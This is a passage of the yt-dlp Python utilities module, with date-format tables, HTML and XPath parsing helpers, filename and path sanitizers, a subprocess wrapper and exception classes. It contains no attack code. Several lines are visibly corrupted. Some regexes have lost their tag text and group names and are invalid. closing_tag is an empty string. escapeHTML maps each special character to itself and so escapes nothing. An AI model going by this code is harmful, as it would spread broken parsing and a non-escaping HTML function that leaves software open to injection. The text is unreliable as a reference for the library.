compat_expanduser,\n compat_HTMLParseError,\n compat_os_name,\n compat_shlex_quote,\n)\nfrom ..dependencies import websockets, xattr\n\n__name__ = __name__.rsplit('.', 1)[0] # Pretend to be the parent module\n\n# This is not clearly defined otherwise\ncompiled_regex_type = type(re.compile(''))\n\n\nclass NO_DEFAULT:\n pass\n\n\ndef IDENTITY(x):\n return x\n\n\nENGLISH_MONTH_NAMES = [\n 'January', 'February', 'March', 'April', 'May', 'June',\n 'July', 'August', 'September', 'October', 'November', 'December']\n\nMONTH_NAMES = {\n 'en': ENGLISH_MONTH_NAMES,\n 'fr': [\n 'janvier', 'février', 'mars', 'avril', 'mai', 'juin',\n 'juillet', 'août', 'septembre', 'octobre', 'novembre', 'décembre'],\n # these follow the genitive grammatical case (dopełniacz)\n # some websites might be using nominative, which will require another month list\n # https://en.wikibooks.org/wiki/Polish/Noun_cases\n 'pl': ['stycznia', 'lutego', 'marca', 'kwietnia', 'maja', 'czerwca',\n 'lipca', 'sierpnia', 'września', 'października', 'listopada', 'grudnia'],\n}\n\n# From https://github.com/python/cpython/blob/3.11/Lib/email/_parseaddr.py#L36-L42\nTIMEZONE_NAMES = {\n 'UT': 0, 'UTC': 0, 'GMT': 0, 'Z': 0,\n 'AST': -4, 'ADT': -3, # Atlantic (used in Canada)\n 'EST': -5, 'EDT': -4, # Eastern\n 'CST': -6, 'CDT': -5, # Central\n 'MST': -7, 'MDT': -6, # Mountain\n 'PST': -8, 'PDT': -7 # Pacific\n}\n\n# needed for sanitizing filenames in restricted mode\nACCENT_CHARS = dict(zip('ÂÃÄÀÁÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖŐØŒÙÚÛÜŰÝÞßàáâãäåæçèéêëìíîïðñòóôõöőøœùúûüűýþÿ',\n itertools.chain('AAAAAA', ['AE'], 'CEEEEIIIIDNOOOOOOO', ['OE'], 'UUUUUY', ['TH', 'ss'],\n 'aaaaaa', ['ae'], 'ceeeeiiiionooooooo', ['oe'], 'uuuuuy', ['th'], 'y')))\n\nDATE_FORMATS = (\n '%d %B %Y',\n '%d %b %Y',\n '%B %d %Y',\n '%B %dst %Y',\n '%B %dnd %Y',\n '%B %drd %Y',\n '%B %dth %Y',\n '%b %d %Y',\n '%b %dst %Y',\n '%b %dnd %Y',\n '%b %drd %Y',\n '%b %dth %Y',\n '%b %dst %Y %I:%M',\n '%b %dnd %Y %I:%M',\n '%b %drd %Y %I:%M',\n '%b %dth %Y %I:%M',\n '%Y %m %d',\n '%Y-%m-%d',\n '%Y.%m.%d.',\n '%Y/%m/%d',\n '%Y/%m/%d %H:%M',\n '%Y/%m/%d %H:%M:%S',\n '%Y%m%d%H%M',\n '%Y%m%d%H%M%S',\n '%Y%m%d',\n '%Y-%m-%d %H:%M',\n '%Y-%m-%d %H:%M:%S',\n '%Y-%m-%d %H:%M:%S.%f',\n '%Y-%m-%d %H:%M:%S:%f',\n '%d.%m.%Y %H:%M',\n '%d.%m.%Y %H.%M',\n '%Y-%m-%dT%H:%M:%SZ',\n '%Y-%m-%dT%H:%M:%S.%fZ',\n '%Y-%m-%dT%H:%M:%S.%f0Z',\n '%Y-%m-%dT%H:%M:%S',\n '%Y-%m-%dT%H:%M:%S.%f',\n '%Y-%m-%dT%H:%M',\n '%b %d %Y at %H:%M',\n '%b %d %Y at %H:%M:%S',\n '%B %d %Y at %H:%M',\n '%B %d %Y at %H:%M:%S',\n '%H:%M %d-%b-%Y',\n)\n\nDATE_FORMATS_DAY_FIRST = list(DATE_FORMATS)\nDATE_FORMATS_DAY_FIRST.extend([\n '%d-%m-%Y',\n '%d.%m.%Y',\n '%d.%m.%y',\n '%d/%m/%Y',\n '%d/%m/%y',\n '%d/%m/%Y %H:%M:%S',\n '%d-%m-%Y %H:%M',\n '%H:%M %d/%m/%Y',\n])\n\nDATE_FORMATS_MONTH_FIRST = list(DATE_FORMATS)\nDATE_FORMATS_MONTH_FIRST.extend([\n '%m-%d-%Y',\n '%m.%d.%Y',\n '%m/%d/%Y',\n '%m/%d/%y',\n '%m/%d/%Y %H:%M:%S',\n])\n\nPACKED_CODES_RE = r\"}\\('(.+)',(\\d+),(\\d+),'([^']+)'\\.split\\('\\|'\\)\"\nJSON_LD_RE = r'(?is)]+type=([\"\\']?)application/ld\\+json\\1[^>]*>\\s*(?P{.+?}|\\[.+?\\])\\s*'\n\nNUMBER_RE = r'\\d+(?:\\.\\d+)?'\n\n\n@functools.cache\ndef preferredencoding():\n \"\"\"Get preferred encoding.\n\n Returns the best encoding scheme for the system, based on\n locale.getpreferredencoding() and some further tweaks.\n \"\"\"\n try:\n pref = locale.getpreferredencoding()\n 'TEST'.encode(pref)\n except Exception:\n pref = 'UTF-8'\n\n return pref\n\n\ndef write_json_file(obj, fn):\n \"\"\" Encode obj as JSON and write it to fn, atomically if possible \"\"\"\n\n tf = tempfile.NamedTemporaryFile(\n prefix=f'{os.path.basename(fn)}.', dir=os.path.dirname(fn),\n suffix='.tmp', delete=False, mode='w', encoding='utf-8')\n\n try:\n with tf:\n json.dump(obj, tf, ensure_ascii=False)\n if sys.platform == 'win32':\n # Need to remove existing file on Windows, else os.rename raises\n # WindowsError or FileExistsError.\n with contextlib.suppress(OSError):\n os.unlink(fn)\n with contextlib.suppress(OSError):\n mask = os.umask(0)\n os.umask(mask)\n os.chmod(tf.name, 0o666 & ~mask)\n os.rename(tf.name, fn)\n except Exception:\n with contextlib.suppress(OSError):\n os.remove(tf.name)\n raise\n\n\ndef find_xpath_attr(node, xpath, key, val=None):\n \"\"\" Find the xpath xpath[@key=val] \"\"\"\n assert re.match(r'^[a-zA-Z_-]+$', key)\n expr = xpath + ('[@%s]' % key if val is None else f\"[@{key}='{val}']\")\n return node.find(expr)\n\n# On python2.6 the xml.etree.ElementTree.Element methods don't support\n# the namespace parameter\n\n\ndef xpath_with_ns(path, ns_map):\n components = [c.split(':') for c in path.split('/')]\n replaced = []\n for c in components:\n if len(c) == 1:\n replaced.append(c[0])\n else:\n ns, tag = c\n replaced.append('{%s}%s' % (ns_map[ns], tag))\n return '/'.join(replaced)\n\n\ndef xpath_element(node, xpath, name=None, fatal=False, default=NO_DEFAULT):\n def _find_xpath(xpath):\n return node.find(xpath)\n\n if isinstance(xpath, str):\n n = _find_xpath(xpath)\n else:\n for xp in xpath:\n n = _find_xpath(xp)\n if n is not None:\n break\n\n if n is None:\n if default is not NO_DEFAULT:\n return default\n elif fatal:\n name = xpath if name is None else name\n raise ExtractorError('Could not find XML element %s' % name)\n else:\n return None\n return n\n\n\ndef xpath_text(node, xpath, name=None, fatal=False, default=NO_DEFAULT):\n n = xpath_element(node, xpath, name, fatal=fatal, default=default)\n if n is None or n == default:\n return n\n if n.text is None:\n if default is not NO_DEFAULT:\n return default\n elif fatal:\n name = xpath if name is None else name\n raise ExtractorError('Could not find XML element\\'s text %s' % name)\n else:\n return None\n return n.text\n\n\ndef xpath_attr(node, xpath, key, name=None, fatal=False, default=NO_DEFAULT):\n n = find_xpath_attr(node, xpath, key)\n if n is None:\n if default is not NO_DEFAULT:\n return default\n elif fatal:\n name = f'{xpath}[@{key}]' if name is None else name\n raise ExtractorError('Could not find XML attribute %s' % name)\n else:\n return None\n return n.attrib[key]\n\n\ndef get_element_by_id(id, html, **kwargs):\n \"\"\"Return the content of the tag with the specified ID in the passed HTML document\"\"\"\n return get_element_by_attribute('id', id, html, **kwargs)\n\n\ndef get_element_html_by_id(id, html, **kwargs):\n \"\"\"Return the html of the tag with the specified ID in the passed HTML document\"\"\"\n return get_element_html_by_attribute('id', id, html, **kwargs)\n\n\ndef get_element_by_class(class_name, html):\n \"\"\"Return the content of the first tag with the specified class in the passed HTML document\"\"\"\n retval = get_elements_by_class(class_name, html)\n return retval[0] if retval else None\n\n\ndef get_element_html_by_class(class_name, html):\n \"\"\"Return the html of the first tag with the specified class in the passed HTML document\"\"\"\n retval = get_elements_html_by_class(class_name, html)\n return retval[0] if retval else None\n\n\ndef get_element_by_attribute(attribute, value, html, **kwargs):\n retval = get_elements_by_attribute(attribute, value, html, **kwargs)\n return retval[0] if retval else None\n\n\ndef get_element_html_by_attribute(attribute, value, html, **kargs):\n retval = get_elements_html_by_attribute(attribute, value, html, **kargs)\n return retval[0] if retval else None\n\n\ndef get_elements_by_class(class_name, html, **kargs):\n \"\"\"Return the content of all tags with the specified class in the passed HTML document as a list\"\"\"\n return get_elements_by_attribute(\n 'class', r'[^\\'\"]*(?<=[\\'\"\\s])%s(?=[\\'\"\\s])[^\\'\"]*' % re.escape(class_name),\n html, escape_value=False)\n\n\ndef get_elements_html_by_class(class_name, html):\n \"\"\"Return the html of all tags with the specified class in the passed HTML document as a list\"\"\"\n return get_elements_html_by_attribute(\n 'class', r'[^\\'\"]*(?<=[\\'\"\\s])%s(?=[\\'\"\\s])[^\\'\"]*' % re.escape(class_name),\n html, escape_value=False)\n\n\ndef get_elements_by_attribute(*args, **kwargs):\n \"\"\"Return the content of the tag with the specified attribute in the passed HTML document\"\"\"\n return [content for content, _ in get_elements_text_and_html_by_attribute(*args, **kwargs)]\n\n\ndef get_elements_html_by_attribute(*args, **kwargs):\n \"\"\"Return the html of the tag with the specified attribute in the passed HTML document\"\"\"\n return [whole for _, whole in get_elements_text_and_html_by_attribute(*args, **kwargs)]\n\n\ndef get_elements_text_and_html_by_attribute(attribute, value, html, *, tag=r'[\\w:.-]+', escape_value=True):\n \"\"\"\n Return the text (content) and the html (whole) of the tag with the specified\n attribute in the passed HTML document\n \"\"\"\n if not value:\n return\n\n quote = '' if re.match(r'''[\\s\"'`=<>]''', value) else '?'\n\n value = re.escape(value) if escape_value else value\n\n partial_element_re = rf'''(?x)\n <(?P{tag})\n (?:\\s(?:[^>\"']|\"[^\"]*\"|'[^']*')*)?\n \\s{re.escape(attribute)}\\s*=\\s*(?P<_q>['\"]{quote})(?-x:{value})(?P=_q)\n '''\n\n for m in re.finditer(partial_element_re, html):\n content, whole = get_element_text_and_html_by_tag(m.group('tag'), html[m.start():])\n\n yield (\n unescapeHTML(re.sub(r'^(?P[\"\\'])(?P.*)(?P=q)$', r'\\g', content, flags=re.DOTALL)),\n whole\n )\n\n\nclass HTMLBreakOnClosingTagParser(html.parser.HTMLParser):\n \"\"\"\n HTML parser which raises HTMLBreakOnClosingTagException upon reaching the\n closing tag for the first opening tag it has encountered, and can be used\n as a context manager\n \"\"\"\n\n class HTMLBreakOnClosingTagException(Exception):\n pass\n\n def __init__(self):\n self.tagstack = collections.deque()\n html.parser.HTMLParser.__init__(self)\n\n def __enter__(self):\n return self\n\n def __exit__(self, *_):\n self.close()\n\n def close(self):\n # handle_endtag does not return upon raising HTMLBreakOnClosingTagException,\n # so data remains buffered; we no longer have any interest in it, thus\n # override this method to discard it\n pass\n\n def handle_starttag(self, tag, _):\n self.tagstack.append(tag)\n\n def handle_endtag(self, tag):\n if not self.tagstack:\n raise compat_HTMLParseError('no tags in the stack')\n while self.tagstack:\n inner_tag = self.tagstack.pop()\n if inner_tag == tag:\n break\n else:\n raise compat_HTMLParseError(f'matching opening tag for closing {tag} tag not found')\n if not self.tagstack:\n raise self.HTMLBreakOnClosingTagException()\n\n\n# XXX: This should be far less strict\ndef get_element_text_and_html_by_tag(tag, html):\n \"\"\"\n For the first element with the specified tag in the passed HTML document\n return its' content (text) and the whole element (html)\n \"\"\"\n def find_or_raise(haystack, needle, exc):\n try:\n return haystack.index(needle)\n except ValueError:\n raise exc\n closing_tag = f''\n whole_start = find_or_raise(\n html, f'<{tag}', compat_HTMLParseError(f'opening {tag} tag not found'))\n content_start = find_or_raise(\n html[whole_start:], '>', compat_HTMLParseError(f'malformed opening {tag} tag'))\n content_start += whole_start + 1\n with HTMLBreakOnClosingTagParser() as parser:\n parser.feed(html[whole_start:content_start])\n if not parser.tagstack or parser.tagstack[0] != tag:\n raise compat_HTMLParseError(f'parser did not match opening {tag} tag')\n offset = content_start\n while offset < len(html):\n next_closing_tag_start = find_or_raise(\n html[offset:], closing_tag,\n compat_HTMLParseError(f'closing {tag} tag not found'))\n next_closing_tag_end = next_closing_tag_start + len(closing_tag)\n try:\n parser.feed(html[offset:offset + next_closing_tag_end])\n offset += next_closing_tag_end\n except HTMLBreakOnClosingTagParser.HTMLBreakOnClosingTagException:\n return html[content_start:offset + next_closing_tag_start], \\\n html[whole_start:offset + next_closing_tag_end]\n raise compat_HTMLParseError('unexpected end of html')\n\n\nclass HTMLAttributeParser(html.parser.HTMLParser):\n \"\"\"Trivial HTML parser to gather the attributes for a single element\"\"\"\n\n def __init__(self):\n self.attrs = {}\n html.parser.HTMLParser.__init__(self)\n\n def handle_starttag(self, tag, attrs):\n self.attrs = dict(attrs)\n raise compat_HTMLParseError('done')\n\n\nclass HTMLListAttrsParser(html.parser.HTMLParser):\n \"\"\"HTML parser to gather the attributes for the elements of a list\"\"\"\n\n def __init__(self):\n html.parser.HTMLParser.__init__(self)\n self.items = []\n self._level = 0\n\n def handle_starttag(self, tag, attrs):\n if tag == 'li' and self._level == 0:\n self.items.append(dict(attrs))\n self._level += 1\n\n def handle_endtag(self, tag):\n self._level -= 1\n\n\ndef extract_attributes(html_element):\n \"\"\"Given a string for an HTML element such as\n \n Decode and return a dictionary of attributes.\n {\n 'a': 'foo', 'b': 'bar', c: 'baz', d: 'boz',\n 'empty': '', 'noval': None, 'entity': '&',\n 'sq': '\"', 'dq': '\\''\n }.\n \"\"\"\n parser = HTMLAttributeParser()\n with contextlib.suppress(compat_HTMLParseError):\n parser.feed(html_element)\n parser.close()\n return parser.attrs\n\n\ndef parse_list(webpage):\n \"\"\"Given a string for an series of HTML
  • elements,\n return a dictionary of their attributes\"\"\"\n parser = HTMLListAttrsParser()\n parser.feed(webpage)\n parser.close()\n return parser.items\n\n\ndef clean_html(html):\n \"\"\"Clean an HTML snippet into a readable string\"\"\"\n\n if html is None: # Convenience for sanitizing descriptions etc.\n return html\n\n html = re.sub(r'\\s+', ' ', html)\n html = re.sub(r'(?u)\\s?<\\s?br\\s?/?\\s?>\\s?', '\\n', html)\n html = re.sub(r'(?u)<\\s?/\\s?p\\s?>\\s?<\\s?p[^>]*>', '\\n', html)\n # Strip html tags\n html = re.sub('<.*?>', '', html)\n # Replace html entities\n html = unescapeHTML(html)\n return html.strip()\n\n\nclass LenientJSONDecoder(json.JSONDecoder):\n # TODO: Write tests\n def __init__(self, *args, transform_source=None, ignore_extra=False, close_objects=0, **kwargs):\n self.transform_source, self.ignore_extra = transform_source, ignore_extra\n self._close_attempts = 2 * close_objects\n super().__init__(*args, **kwargs)\n\n @staticmethod\n def _close_object(err):\n doc = err.doc[:err.pos]\n # We need to add comma first to get the correct error message\n if err.msg.startswith('Expecting \\',\\''):\n return doc + ','\n elif not doc.endswith(','):\n return\n\n if err.msg.startswith('Expecting property name'):\n return doc[:-1] + '}'\n elif err.msg.startswith('Expecting value'):\n return doc[:-1] + ']'\n\n def decode(self, s):\n if self.transform_source:\n s = self.transform_source(s)\n for attempt in range(self._close_attempts + 1):\n try:\n if self.ignore_extra:\n return self.raw_decode(s.lstrip())[0]\n return super().decode(s)\n except json.JSONDecodeError as e:\n if e.pos is None:\n raise\n elif attempt < self._close_attempts:\n s = self._close_object(e)\n if s is not None:\n continue\n raise type(e)(f'{e.msg} in {s[e.pos-10:e.pos+10]!r}', s, e.pos)\n assert False, 'Too many attempts to decode JSON'\n\n\ndef sanitize_open(filename, open_mode):\n \"\"\"Try to open the given filename, and slightly tweak it if this fails.\n\n Attempts to open the given filename. If this fails, it tries to change\n the filename slightly, step by step, until it's either able to open it\n or it fails and raises a final exception, like the standard open()\n function.\n\n It returns the tuple (stream, definitive_file_name).\n \"\"\"\n if filename == '-':\n if sys.platform == 'win32':\n import msvcrt\n\n # stdout may be any IO stream, e.g. when using contextlib.redirect_stdout\n with contextlib.suppress(io.UnsupportedOperation):\n msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)\n return (sys.stdout.buffer if hasattr(sys.stdout, 'buffer') else sys.stdout, filename)\n\n for attempt in range(2):\n try:\n try:\n if sys.platform == 'win32':\n # FIXME: An exclusive lock also locks the file from being read.\n # Since windows locks are mandatory, don't lock the file on windows (for now).\n # Ref: https://github.com/yt-dlp/yt-dlp/issues/3124\n raise LockingUnsupportedError()\n stream = locked_file(filename, open_mode, block=False).__enter__()\n except OSError:\n stream = open(filename, open_mode)\n return stream, filename\n except OSError as err:\n if attempt or err.errno in (errno.EACCES,):\n raise\n old_filename, filename = filename, sanitize_path(filename)\n if old_filename == filename:\n raise\n\n\ndef timeconvert(timestr):\n \"\"\"Convert RFC 2822 defined time string into system timestamp\"\"\"\n timestamp = None\n timetuple = email.utils.parsedate_tz(timestr)\n if timetuple is not None:\n timestamp = email.utils.mktime_tz(timetuple)\n return timestamp\n\n\ndef sanitize_filename(s, restricted=False, is_id=NO_DEFAULT):\n \"\"\"Sanitizes a string so it could be used as part of a filename.\n @param restricted Use a stricter subset of allowed characters\n @param is_id Whether this is an ID that should be kept unchanged if possible.\n If unset, yt-dlp's new sanitization rules are in effect\n \"\"\"\n if s == '':\n return ''\n\n def replace_insane(char):\n if restricted and char in ACCENT_CHARS:\n return ACCENT_CHARS[char]\n elif not restricted and char == '\\n':\n return '\\0 '\n elif is_id is NO_DEFAULT and not restricted and char in '\"*:<>?|/\\\\':\n # Replace with their full-width unicode counterparts\n return {'/': '\\u29F8', '\\\\': '\\u29f9'}.get(char, chr(ord(char) + 0xfee0))\n elif char == '?' or ord(char) < 32 or ord(char) == 127:\n return ''\n elif char == '\"':\n return '' if restricted else '\\''\n elif char == ':':\n return '\\0_\\0-' if restricted else '\\0 \\0-'\n elif char in '\\\\/|*<>':\n return '\\0_'\n if restricted and (char in '!&\\'()[]{}$;`^,#' or char.isspace() or ord(char) > 127):\n return '\\0_'\n return char\n\n # Replace look-alike Unicode glyphs\n if restricted and (is_id is NO_DEFAULT or not is_id):\n s = unicodedata.normalize('NFKC', s)\n s = re.sub(r'[0-9]+(?::[0-9]+)+', lambda m: m.group(0).replace(':', '_'), s) # Handle timestamps\n result = ''.join(map(replace_insane, s))\n if is_id is NO_DEFAULT:\n result = re.sub(r'(\\0.)(?:(?=\\1)..)+', r'\\1', result) # Remove repeated substitute chars\n STRIP_RE = r'(?:\\0.|[ _-])*'\n result = re.sub(f'^\\0.{STRIP_RE}|{STRIP_RE}\\0.$', '', result) # Remove substitute chars from start/end\n result = result.replace('\\0', '') or '_'\n\n if not is_id:\n while '__' in result:\n result = result.replace('__', '_')\n result = result.strip('_')\n # Common case of \"Foreign band name - English song title\"\n if restricted and result.startswith('-_'):\n result = result[2:]\n if result.startswith('-'):\n result = '_' + result[len('-'):]\n result = result.lstrip('.')\n if not result:\n result = '_'\n return result\n\n\ndef sanitize_path(s, force=False):\n \"\"\"Sanitizes and normalizes path on Windows\"\"\"\n # XXX: this handles drive relative paths (c:sth) incorrectly\n if sys.platform == 'win32':\n force = False\n drive_or_unc, _ = os.path.splitdrive(s)\n elif force:\n drive_or_unc = ''\n else:\n return s\n\n norm_path = os.path.normpath(remove_start(s, drive_or_unc)).split(os.path.sep)\n if drive_or_unc:\n norm_path.pop(0)\n sanitized_path = [\n path_part if path_part in ['.', '..'] else re.sub(r'(?:[/<>:\"\\|\\\\?\\*]|[\\s.]$)', '#', path_part)\n for path_part in norm_path]\n if drive_or_unc:\n sanitized_path.insert(0, drive_or_unc + os.path.sep)\n elif force and s and s[0] == os.path.sep:\n sanitized_path.insert(0, os.path.sep)\n # TODO: Fix behavioral differences <3.12\n # The workaround using `normpath` only superficially passes tests\n # Ref: https://github.com/python/cpython/pull/100351\n return os.path.normpath(os.path.join(*sanitized_path))\n\n\ndef sanitize_url(url, *, scheme='http'):\n # Prepend protocol-less URLs with `http:` scheme in order to mitigate\n # the number of unwanted failures due to missing protocol\n if url is None:\n return\n elif url.startswith('//'):\n return f'{scheme}:{url}'\n # Fix some common typos seen so far\n COMMON_TYPOS = (\n # https://github.com/ytdl-org/youtube-dl/issues/15649\n (r'^httpss://', r'https://'),\n # https://bx1.be/lives/direct-tv/\n (r'^rmtp([es]?)://', r'rtmp\\1://'),\n )\n for mistake, fixup in COMMON_TYPOS:\n if re.match(mistake, url):\n return re.sub(mistake, fixup, url)\n return url\n\n\ndef extract_basic_auth(url):\n parts = urllib.parse.urlsplit(url)\n if parts.username is None:\n return url, None\n url = urllib.parse.urlunsplit(parts._replace(netloc=(\n parts.hostname if parts.port is None\n else '%s:%d' % (parts.hostname, parts.port))))\n auth_payload = base64.b64encode(\n ('%s:%s' % (parts.username, parts.password or '')).encode())\n return url, f'Basic {auth_payload.decode()}'\n\n\ndef expand_path(s):\n \"\"\"Expand shell variables and ~\"\"\"\n return os.path.expandvars(compat_expanduser(s))\n\n\ndef orderedSet(iterable, *, lazy=False):\n \"\"\"Remove all duplicates from the input iterable\"\"\"\n def _iter():\n seen = [] # Do not use set since the items can be unhashable\n for x in iterable:\n if x not in seen:\n seen.append(x)\n yield x\n\n return _iter() if lazy else list(_iter())\n\n\ndef _htmlentity_transform(entity_with_semicolon):\n \"\"\"Transforms an HTML entity to a character.\"\"\"\n entity = entity_with_semicolon[:-1]\n\n # Known non-numeric HTML entity\n if entity in html.entities.name2codepoint:\n return chr(html.entities.name2codepoint[entity])\n\n # TODO: HTML5 allows entities without a semicolon.\n # E.g. 'Éric' should be decoded as 'Éric'.\n if entity_with_semicolon in html.entities.html5:\n return html.entities.html5[entity_with_semicolon]\n\n mobj = re.match(r'#(x[0-9a-fA-F]+|[0-9]+)', entity)\n if mobj is not None:\n numstr = mobj.group(1)\n if numstr.startswith('x'):\n base = 16\n numstr = '0%s' % numstr\n else:\n base = 10\n # See https://github.com/ytdl-org/youtube-dl/issues/7518\n with contextlib.suppress(ValueError):\n return chr(int(numstr, base))\n\n # Unknown entity in name, return its literal representation\n return '&%s;' % entity\n\n\ndef unescapeHTML(s):\n if s is None:\n return None\n assert isinstance(s, str)\n\n return re.sub(\n r'&([^&;]+;)', lambda m: _htmlentity_transform(m.group(1)), s)\n\n\ndef escapeHTML(text):\n return (\n text\n .replace('&', '&')\n .replace('<', '<')\n .replace('>', '>')\n .replace('\"', '"')\n .replace(\"'\", ''')\n )\n\n\nclass netrc_from_content(netrc.netrc):\n def __init__(self, content):\n self.hosts, self.macros = {}, {}\n with io.StringIO(content) as stream:\n self._parse('-', stream, False)\n\n\nclass Popen(subprocess.Popen):\n if sys.platform == 'win32':\n _startupinfo = subprocess.STARTUPINFO()\n _startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n else:\n _startupinfo = None\n\n @staticmethod\n def _fix_pyinstaller_ld_path(env):\n \"\"\"Restore LD_LIBRARY_PATH when using PyInstaller\n Ref: https://github.com/pyinstaller/pyinstaller/blob/develop/doc/runtime-information.rst#ld_library_path--libpath-considerations\n https://github.com/yt-dlp/yt-dlp/issues/4573\n \"\"\"\n if not hasattr(sys, '_MEIPASS'):\n return\n\n def _fix(key):\n orig = env.get(f'{key}_ORIG')\n if orig is None:\n env.pop(key, None)\n else:\n env[key] = orig\n\n _fix('LD_LIBRARY_PATH') # Linux\n _fix('DYLD_LIBRARY_PATH') # macOS\n\n def __init__(self, args, *remaining, env=None, text=False, shell=False, **kwargs):\n if env is None:\n env = os.environ.copy()\n self._fix_pyinstaller_ld_path(env)\n\n self.__text_mode = kwargs.get('encoding') or kwargs.get('errors') or text or kwargs.get('universal_newlines')\n if text is True:\n kwargs['universal_newlines'] = True # For 3.6 compatibility\n kwargs.setdefault('encoding', 'utf-8')\n kwargs.setdefault('errors', 'replace')\n\n if shell and compat_os_name == 'nt' and kwargs.get('executable') is None:\n if not isinstance(args, str):\n args = ' '.join(compat_shlex_quote(a) for a in args)\n shell = False\n args = f'{self.__comspec()} /Q /S /D /V:OFF /C \"{args}\"'\n\n super().__init__(args, *remaining, env=env, shell=shell, **kwargs, startupinfo=self._startupinfo)\n\n def __comspec(self):\n comspec = os.environ.get('ComSpec') or os.path.join(\n os.environ.get('SystemRoot', ''), 'System32', 'cmd.exe')\n if os.path.isabs(comspec):\n return comspec\n raise FileNotFoundError('shell not found: neither %ComSpec% nor %SystemRoot% is set')\n\n def communicate_or_kill(self, *args, **kwargs):\n try:\n return self.communicate(*args, **kwargs)\n except BaseException: # Including KeyboardInterrupt\n self.kill(timeout=None)\n raise\n\n def kill(self, *, timeout=0):\n super().kill()\n if timeout != 0:\n self.wait(timeout=timeout)\n\n @classmethod\n def run(cls, *args, timeout=None, **kwargs):\n with cls(*args, **kwargs) as proc:\n default = '' if proc.__text_mode else b''\n stdout, stderr = proc.communicate_or_kill(timeout=timeout)\n return stdout or default, stderr or default, proc.returncode\n\n\ndef encodeArgument(s):\n # Legacy code that uses byte strings\n # Uncomment the following line after fixing all post processors\n # assert isinstance(s, str), 'Internal error: %r should be of type %r, is %r' % (s, str, type(s))\n return s if isinstance(s, str) else s.decode('ascii')\n\n\n_timetuple = collections.namedtuple('Time', ('hours', 'minutes', 'seconds', 'milliseconds'))\n\n\ndef timetuple_from_msec(msec):\n secs, msec = divmod(msec, 1000)\n mins, secs = divmod(secs, 60)\n hrs, mins = divmod(mins, 60)\n return _timetuple(hrs, mins, secs, msec)\n\n\ndef formatSeconds(secs, delim=':', msec=False):\n time = timetuple_from_msec(secs * 1000)\n if time.hours:\n ret = '%d%s%02d%s%02d' % (time.hours, delim, time.minutes, delim, time.seconds)\n elif time.minutes:\n ret = '%d%s%02d' % (time.minutes, delim, time.seconds)\n else:\n ret = '%d' % time.seconds\n return '%s.%03d' % (ret, time.milliseconds) if msec else ret\n\n\ndef bug_reports_message(before=';'):\n from ..update import REPOSITORY\n\n msg = (f'please report this issue on https://github.com/{REPOSITORY}/issues?q= , '\n 'filling out the appropriate issue template. Confirm you are on the latest version using yt-dlp -U')\n\n before = before.rstrip()\n if not before or before.endswith(('.', '!', '?')):\n msg = msg[0].title() + msg[1:]\n\n return (before + ' ' if before else '') + msg\n\n\nclass YoutubeDLError(Exception):\n \"\"\"Base exception for YoutubeDL errors.\"\"\"\n msg = None\n\n def __init__(self, msg=None):\n if msg is not None:\n self.msg = msg\n elif self.msg is None:\n self.msg = type(self).__name__\n super().__init__(self.msg)\n\n\nclass ExtractorError(YoutubeDLError):\n \"\"\"Error during info extraction.\"\"\"\n\n def __init__(self, msg, tb=None, expected=False, cause=None, video_id=None, ie=None):\n \"\"\" tb, if given, is the original traceback (so that it can be printed out).\n If expected is set, this is a normal error message and most likely not a bug in yt-dlp.\n \"\"\"\n from ..networking.exceptions import network_exceptions\n if sys.exc_info()[0] in network_exceptions:\n expected = True\n\n self.orig_msg = str(msg)\n self.traceback = tb\n self.expected = expected\n self.cause = cause\n self.video_id = video_id\n self.ie = ie\n self.exc_info = sys.exc_info() # preserve original exception\n if isinstance(self.exc_info[1], ExtractorError):\n self.exc_info = self.exc_info[1].exc_info\n super().__init__(self.__msg)\n\n @property\n def __msg(self):\n return ''.join((\n format_field(self.ie, None, '[%s] '),\n format_field(self.video_id, None, '%s: '),\n self.orig_msg,\n format_field(self.cause, None, ' (caused by %r)'),\n '' if self.expected else bug_reports_message()))\n\n def format_traceback(self):\n return join_nonempty(\n self.traceback and ''.join(traceback.format_tb(self.traceback)),\n self.cause and ''.join(traceback.format_exception(None, self.cause, self.cause.__traceback__)[1:]),\n delim='\\n') or None\n\n def __setattr__(self, name, value):\n super().__setattr__(name, value)\n if getattr(self, 'msg', None) and name not in ('msg', 'args'):\n self.msg = self.__msg or type(self).__name__\n self.args = (self.msg, ) # Cannot be property\n\n\nclass UnsupportedError(ExtractorError):\n def __init__(self, url):\n super().__init__(\n 'Unsupported URL: %s' % url, expected=True)\n self.url = url\n\n\nclass RegexNotFoundError(ExtractorError):\n \"\"\"Error when a regex didn't match\"\"\"\n pass\n\n\nclass GeoRestrictedError(ExtractorError):\n \"\"\"Geographic restriction Error exception.\n\n This exception may be thrown when a video is not available from your\n geographic location due to geographic restrictions imposed by a website.\n \"\"\"\n\n def __init__(self, msg, countries=None, **kwargs):\n kwargs['expected'] = True\n super().__init__(msg, **kwargs)\n self.countries = countries\n\n\nclass UserNotLive(ExtractorError):\n \"\"\"Error when a channel/user is not live\"\"\"\n\n def __init__(self, msg=None, **kwargs):\n kwargs['expected'] = True\n super().__init__(msg or 'The channel is not currently live', **kwargs)\n\n\nclass DownloadError(YoutubeDLError):\n \"\"\"Download Error exception.\n\n This exception may be thrown by FileDownloader objects if they are not\n configured to continue on errors. They will contain the appropriate\n error message.\n \"\"\"\n\n def __init__(self, msg, exc_info=None):\n \"\"\" exc_info, if given, is the original exception that caused the trouble (as returned by sys.exc_info()). \"\"\"\n super().__init__(msg)\n self.exc_info = exc_info\n\n\nclass EntryNotInPlaylist(YoutubeDLError):\n \"\"\"Entry not in playlist exception.\n\n This exception will be thrown by YoutubeDL when a requested entry\n is not found in the playlist info_dict\n \"\"\"\n msg = 'Entry not found in info'\n\n\nclass SameFileError(YoutubeDLError):\n \"\"\"Same File exception.\n\n This exception will be thrown by FileDownloader objects if they detect\n multiple files would have to be downloaded to the same file on disk.\n \"\"\"\n msg = 'Fixed output name but more than one file to download'\n\n def __init__(self, filename=None):\n if filename is not None:\n self.msg += f': {filename}'\n super().__init__(self.msg)\n\n\nclass PostProcessingError(YoutubeDLError):\n \"\"\"Post Processing exception.\n\n This exception may be raised by PostProcessor's .run() method to\n indicate an error in the postprocessing task.\n \"\"\"\n\n\nclass DownloadCancelled(YoutubeDLError):\n \"\"\" Exception raised when the download queue should be interrupted \"\"\"\n msg = 'The download was cancelled'\n\n\nclass ExistingVideoReached(DownloadCancelled):\n \"\"\" --break-on-existing triggered \"\"\"\n msg = 'Encountered a video that is already in the archive, stopping due to 